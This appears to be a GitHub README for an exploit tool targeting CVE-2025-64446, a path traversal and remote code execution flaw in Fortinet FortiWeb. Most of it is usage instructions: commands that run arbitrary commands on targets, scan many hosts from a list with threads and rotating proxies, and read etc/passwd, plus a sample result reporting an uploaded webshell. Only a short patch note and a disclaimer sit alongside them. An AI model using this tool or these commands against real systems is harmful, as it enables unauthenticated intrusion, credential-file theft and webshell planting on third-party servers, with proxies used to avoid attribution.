
Security research tool for detecting and testing CVE-2025-64446 (FortiWeb Path Traversal RCE vulnerability)
A security research tool for detecting and testing the CVE-2025-64446 vulnerability in Fortinet FortiWeb Web Application Firewall (WAF). This critical zero-day path traversal vulnerability has been actively exploited in the wild and allows unauthenticated attackers to bypass security controls and execute arbitrary code.
This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Only use this tool on systems you own or have explicit written permission to test.
CVE-2025-64446 is a critical zero-day path traversal vulnerability in Fortinet FortiWeb WAF that has been actively exploited in the wild. This vulnerability allows unauthenticated attackers to bypass security controls through path traversal attacks, potentially leading to remote code execution, configuration file access, and complete system compromise.
CVSS Score: 9.8 (Critical)
Status: Actively Exploited in the Wild
CISA KEV: Added to Known Exploited Vulnerabilities catalog
Patch: FG-IR-25-910
Affected Product: Fortinet FortiWeb WAF
# Clone the repository
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit
# Install dependencies
pip install -r requirements.txt
# Make scripts executable (optional)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py
# Download the scripts
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py
# Install dependencies
pip install requests
# Single target
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com
# Execute custom command
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
# With threading for faster scanning
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5
# Verbose output for debugging
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v
# Single proxy
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# Basic POC test
python3 cve_2025_64446_poc.py -u http://target.com
# Test specific file
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd
# Verbose output
python3 cve_2025_64446_poc.py -u http://target.com -v
-u, --url Target URL
-f, --file File containing target URLs (one per line)
-c, --command Command to execute (default: id)
-t, --threads Number of threads (default: 1)
-o, --output Output file (default: uknf_fortiweb_results.json)
-v, --verbose Enable verbose logging
--proxy Proxy URL (e.g., http://127.0.0.1:8080)
--proxy-list File containing proxy URLs (one per line)
The script generates a JSON file with detailed results:
{
"target": "http://target.com",
"timestamp": "2025-11-21T00:25:40.123456",
"fortiweb_detected": true,
"vulnerable": true,
"path_traversal_successful": true,
"config_file_read": true,
"webshell_uploaded": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_payload": "../../../../etc/passwd"
}
If you're using FortiWeb WAF:
Apply Security Updates Immediately:
# Check current version
show system status
# Update to latest version
execute upgrade <firmware-file>
Network Segmentation:
Configuration Hardening:
CISA Requirements:
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"
# Single proxy
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# Basic POC
python3 cve_2025_64446_poc.py -u https://example.com
# Test specific file
python3 cve_2025_64446_poc.py -u https://example.com -f etc/passwd
Contributions are welcome! Please feel free to submit a Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)If you encounter any issues or have suggestions, please open an issue on GitHub.
This project is licensed under the MIT License - see the LICENSE file for details.
If you find this tool useful, please consider giving it a star on GitHub!
This tool is provided for educational and authorized security testing purposes only. The authors are not responsible for any misuse or damage caused by this program. Users are responsible for ensuring they have proper authorization before testing any systems.
If you find this tool useful and would like to support the project:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Thank you for your support! 🙏